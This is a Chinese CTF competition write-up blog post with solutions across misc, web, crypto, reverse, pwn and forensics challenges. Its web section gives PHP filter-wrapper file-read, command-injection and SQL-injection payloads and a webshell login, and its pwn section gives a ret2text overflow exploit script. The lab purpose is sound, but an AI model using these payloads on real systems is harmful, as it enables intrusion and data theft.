Loading... ## Misc ### 汗流浃背了吧 看每一列都相同的字母 得到}8vf69pzadq34pbz0o7f5{galf 字符串反转就是flag ### 可是雪 图片题直接拖进010或者winhex,直接看末尾没有flag,再看看有没有隐藏啥东西,发现了一个4number.txt 图片放kali里面分离一下,是个压缩包 但是压缩包需要密码,看文件名应该提示密码是4位数,爆破出来密码,拿到flag ### 简单的Misc 解压压缩包,得到图片和另一个压缩包,将图片的高修改后得到一串字符串jieyamima,打开压缩包发现有一个文本和一个新的压缩包,但是被加密了,之前得到的字符串即使密码,使用得到的字符串提取文件,打开文本是一串base64加密,解密得到you_are_right!,打开压缩包有一个名字为3的文件夹,里面是一个world文档但被加密了,使用之前的到的字符串提取文件,打开文档发现一串字符串经过base64解密得到一串错误的flag,在选项里面打开隐藏字符选项,发现下边还有东西,选中并将字体颜色改为其他颜色,发现字符串, 这是凯撒加密,偏移量就是文件夹的名字3,进行解密即可 ### 他去哪了? 一道社工题 社工不行就说地图搜索龙山北路,定位在江苏省 然后龙山北路旁边的公园一个一个试最后确定桃湖公园 ### 迷宫题 解压压缩包,得到一张图片和一个文本,用010打开图片在最下面有提示上下左右分别用哪个字母表示,再打开文本将里面的字符串排列成10*10的正方形,根据提示按照迷宫走向输出字母,得到的东西加上flag{}即可 ## Web ### sign f12查看源码即可 ### ezincluding 右键禁用 查看源码 ``` view-source:url ``` 直接看源码发现三十关是 ``` QUdDVC1GLnBocA== ``` 然后base64解码,解出AGCT-F.php 然后访问 payload: ``` url?AGCTF=5.13e2 post: file=php://filter/read=convert.base64-encode/resource=flag.php ``` 然后base64解码 ### ezeval 搜索 ``` score = score + row[i]; ``` 修改为 ``` score = score + row[i]+100000; ``` 然后玩一下 弹出AG.php ``` ?AG[CT.F=`F` ;nl fla?.ph?>1.txt ?AG[CT.F=`F` ;more flag.php>1.txt ?AG[CT.F=`F` ;tail flag.php>1.txt ?AG[CT.F=`F` ;mv flag.php 1.txt ?AG[CT.F=`$F` ;;nl flag.php|tee 1 ``` 然后访问1.txt即可 ### Backdoor 打开是一个登录框,先用弱口令,用户名admin弱口令爆破一下。 得到密码admin 登陆成功,到达下一个界面。 根据提示,得到木马文件名backdoor.php,密码为cmd 蚁剑连接,在根目录下得到flag ### one-number-sql 注入点在 len,waf 过滤了数字,要求数字不能大于 10,小于 1 此处可以进行拼接绕过,然而,正常情况下,查到的 flag 在 result[1],环境中只会输出 result[0]。 所以需要将 sql 只输出一行,拼接 where ‘a’=’b’ 将 result[0] 屏蔽掉,这样 result[1] 就顺到 result[0] 了 -1) from flag where ‘a’=’b’ union select flag from flag– qwe 或者,在 substr 里面插入 hex(‘a’)+1 也是可以的 非预期: ?len=exp(4) ## Crypto ### 聊天记录 打开附件看到一段聊天内容,看到是让我们求密文,发现第一段消息有提示是opt,网页百度搜索了解一下opt加密: 首先把 opt is so easy转成16进制,再和35313320203173207665527920246958进行异或,即可得到密钥,因为两次密钥相同,所以把Friday or Sun和密钥异或,就是我们要的密文 脚本如下 ``` ciphertext1 = 0x6f707420697320736f2065617379 plaintext1 = 0x35313320203173207665527920246958 key = ciphertext1 ^ plaintext1 plaintext2 = 0x467269646179206f722053756e #Friday or Sun ciphertext2 = key ^ plaintext2 print(hex(ciphertext2)) ``` ### 电脑硬件 打开文档,看到两行字符串,有提示是字符间的联系,怀疑是要转换,再看看给的字符串 (1)数字为0-9,字符只有A-F,最大没有字符没有超过F。 (2)字符两两结合对应的十进制小于256。注:FF(十六进制)=255(十进制) 因此猜测是十六进制,用在线16进制转换字符的网站转码一下 解密到的字符串看起来像base64,解密一下 想到文件里面的提示 文件名是“电脑硬件”,可能和键盘有关,每四个字符中间围着一个字母,解出来是interesting ### ezrsa 下载附件,得到一个rsa加密脚本。 通过观察,发现这个文件内包含两个rsa加密。 也就是说有两个flag,拼接起来可以得到正确的flag 把数据带入对应脚本内运行即可 脚本使用 ```python import gmpy2 import binascii e = 65537 n = 1395229489288231311382366045534358902595318269613874176692635617228789563299486000932792943253913026789616426416867729740419576666848587667140336470027161527942136775464960450841456538515184369583931931924421592685342744731655964658447751654244784762774145019225523604547663513567393162200416815345523760522037856530623162930238967291961272125712146712144085556370019020295505760778142577320085226952817773789348918820020424455039521033982952120738836412498086722686027602910852615901102125203913987905909414130536261684262999267261837122241865574855509223781757611386370493610331591217674946355196880554014835893 c = 39790244918905801101761087093167711826341964685718905138830190556514684245071462761390332425691223232839891110252646841911212003228299343911199869483886768761058813012300003568485087499311427465609419840519650909183854139844775155273850555380515570647123978222351493212525375703005758525213373424850626157206903023021192102622328497223608316168619867952821704497430470757567996976311994415543691653073017376957396863261301000386002813619218290714707456488139038731058584932980330786156549430277402677295155959638494459462359636883325857842296676456447233321822853681648198168022781643098771125027762331803979869 P1 = 13404567604243160531 P2 = 18247856104377018137 P3 = 14308046154537580079 P4 = 17631774346445548609 P5 = 10279760692371604327 P6 = 11010674668671123821 P7 = 10494520981799881331 P8 = 15401981317489521257 P9 = 9287231575108404893 P10 = 15733730373315675493 P11 = 11210301386104094689 P12 = 18037665544485629789 P13 = 17600334401514856837 P14 = 11136109070363601787 P15 = 9848104270633079167 P16 = 12343720687439570537 P17 = 13117931750085821473 P18 = 16690212083741326997 P19 = 13187334774330480677 P20 = 18225772659304274963 P21 = 9627771225938607979 P22 = 11963744022979221503 P23 = 15279247274112286879 P24 = 16865457350639369029 P25 = 10948734379506511591 P26 = 10122764941288471781 P27 = 15001471651064178157 P28 = 13755731986501966787 P29 = 14102683113052908449 P30 = 17690793682341561521 P31 = 11147945410040497973 P32 = 17669004193416797209 phi = (P1-1)*(P2-1)*(P3-1)*(P4-1)*(P5-1)*(P6-1)*(P7-1)*(P8-1)*(P9-1)*(P10-1)*(P11-1)*(P12-1)*(P13-1)*(P14-1)*(P15-1)*(P16-1)*(P17-1)*(P18-1)*(P19-1)*(P20-1)*(P21-1)*(P22-1)*(P23-1)*(P24-1)*(P25-1)*(P26-1)*(P27-1)*(P28-1)*(P29-1)*(P30-1)*(P31-1)*(P32-1) d = gmpy2.invert(e,phi) m = gmpy2.powmod(c,d,n) print(binascii.unhexlify(hex(m)[2:])) ``` ```python import gmpy2 import binascii n = 20289593204048665690477271855888410040622575023747323581317376651352696585224183995223015044627404313563012507289013628864344171718022281708814026043371568670507760549340650555291840440087322018682175048057881213744307182383749726589438222242216922490909095827852205451253084323274154412726121082834476583552493169363446587655492500954551064504842186773234836330943890074948022806357548925109836209664262405167433400126733684963284115054788451811330065749617475231379555638164532803521222587704923607453692312627256465739880851051982494703001083488537469967334672562894088217586861488925087945705502576306586313247293 c1 = 4884882077024974602951327141758441834341517752791375568047718100159047387827756103826956637612182088425999261757470612673593852166661144198048351542584475489217790478611242984622661059242473997437744973350781797523474189958072658826273880366155786938115756625822548337495525293 c2 = 18045548914516609025989372451358967266822046654829214527565807560232868110395948669633474539871686678798204239493852861566667890786996797589943144709081442405515190399944329788124740544207446354214635792228773215864044893351222981096241355496743196671762613953557755907776841740795550111839656183950957581159808482881557 e1 = 13 e2 = 15 s = gmpy2.gcdext(e1,e2) a = s[1] b = s[2] if a<0: a = -a c1 = gmpy2.invert(c1,n) else: b = -b c2 = gmpy2.invert(c2,n) m = (gmpy2.powmod(c1,a,n)*gmpy2.powmod(c2,b,n))%n print(binascii.unhexlify(hex(m)[2:])) ``` ### 你能和md5呼应上吗 一个纯爆破题 使用python内的md5加密函数,爆破?,一共有三个 运行后脚本后得到md5字典,查询需要得到的md5的部分,对应一下即可得到相应的md5,套上flag头提交即可 脚本如下 ```python import hashlib def calculate_md5(message): md5_hash = hashlib.md5() md5_hash.update(message.encode('utf-8')) md5_digest = md5_hash.hexdigest() return md5_digest if __name__ == '__main__': target_md5 = '653?1501??1?513?70??2??3e9c87769' #F0AF1443B1F463EAFFF7AEBB8B2AC4E6 charset = 'abcdefghijklmnopqrstuvwxyz' with open('matched_messages.txt', 'w') as file: for char1 in charset: for char2 in charset: for char3 in charset: message = f'Y3{char1}5eG14{char2}Hp5Zmp{char3}Z2x5' md5_digest = calculate_md5(message) file.write(f"MD5 哈希值为:{md5_digest}\n") ``` ### 兔子爱吃萝卜 根据题目提示 兔子爱吃萝卜: Rabbit解密,密钥是carrot ### mix 文本打开,找到中间5YW的部分base64解码,再进行社会主义核心价值观解密得到flag ### helloctfer 根据题目提示 打开网页在控制台找到一串16进制,解密即为flag ## REVERSE ### upx 文件拖入exe,发现有壳,需要脱壳 工具用的是kali自带脱壳工具,将文件拖入虚拟机,执行命令: > upx -d 文件名 即可完成脱壳,将脱壳后的文件拖入64位IDA,反编译后找到flag为flag{YO6_d1d_@_g00d_j0b} ### 反编译 pyc反编译,运行python代码得到flag ```python #!/usr/bin/python # -*- coding: UTF-8 -*- def print_hi(name): print(f'Oh_{name}') if __name__ == '__main__': print_hi('RE_is_f5n') ``` ### Base 文件拖入64位IDA,F5进行反编译 shift+F12查找字符串 看到ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/,想到base64加密 本题主逻辑为先对flag进行了base64加密然后在对加密后的字符每一位ascll码加二,通过加密后的字符串推出flag 已知密文是 Soz3\WH{[4jrfoXhUIH7[ZPnYZX3c4Hhe5Tn[Y3m[pXw 解密脚本: ``` #include "stdio.h" #include "string.h" int main() { char s[] = "";//这里放上需要解密的字符串 int j = strlen(s); for(int i = 0;i<j;i++) { s[i] = s[i]-2; } puts(s); //下一步就是base64解密了 //flag是BlueArchive_HayaseYuuka_steamdbun return0; } ``` ## Pwn ### nc 使用linux工具nc连接一下靶机端口拿到shell,然后cat flag就行 ### ret2text 经典ret2text类题目,偏移量为0x28,存在后门函数,栈溢出到后门函数即可。 脚本: ``` from pwn import* p=process('./ret2text') backdoor=0x40072d payload=b'a'*0x28+p64(backdoor) p.sendline(payload) p.interactive() ``` ## Forensics ### linux-log 在日志中,成功登录系统的信息通常会包括`Accepted password for [username]`以及`session opened for user [username] by (uid=0)`等类似的条目。 ![image-20231201215558176](https://cdn.zhangz.cc/blog/image-20231201215558176.png) ### usb-hacker KNM鼠标键盘流量包分析取证工具一把梭 link:https://github.com/FzWjScJ/knm ### shark!shark!shark! 首先过滤一下查看`http`的包,发现有一个响应值为200的zip文件 ![image-20231201220207185](https://cdn.zhangz.cc/blog/image-20231201220207185.png) 将字节流全部导出成压缩文件或者直接使用wireshark的导出对象功能,发现需要解压密码 ![image-20231201220517748](https://cdn.zhangz.cc/blog/image-20231201220517748.png) 继续往上分析,追踪一下字节流,发现了上一个POST中,有一个act ![image-20231201220841880](https://cdn.zhangz.cc/blog/image-20231201220841880.png) 通过url解码发现执行了`zip -P Adm1n! www0587.zip` 这是一个用于创建一个名为www0587.zip的密码保护zip文件的命令。命令中的"-P"选项用于指定密码,"Adm1n!"是指定的密码。zip命令用于在Linux和其他类Unix系统中创建压缩文件。 所以密码为:Adm1n! 解开后发现key ![image-20231201221034379](https://cdn.zhangz.cc/blog/image-20231201221034379.png) 最后修改:2024 年 03 月 14 日 © 允许规范转载 赞 4 如果觉得我的文章对你有用,请随意赞赏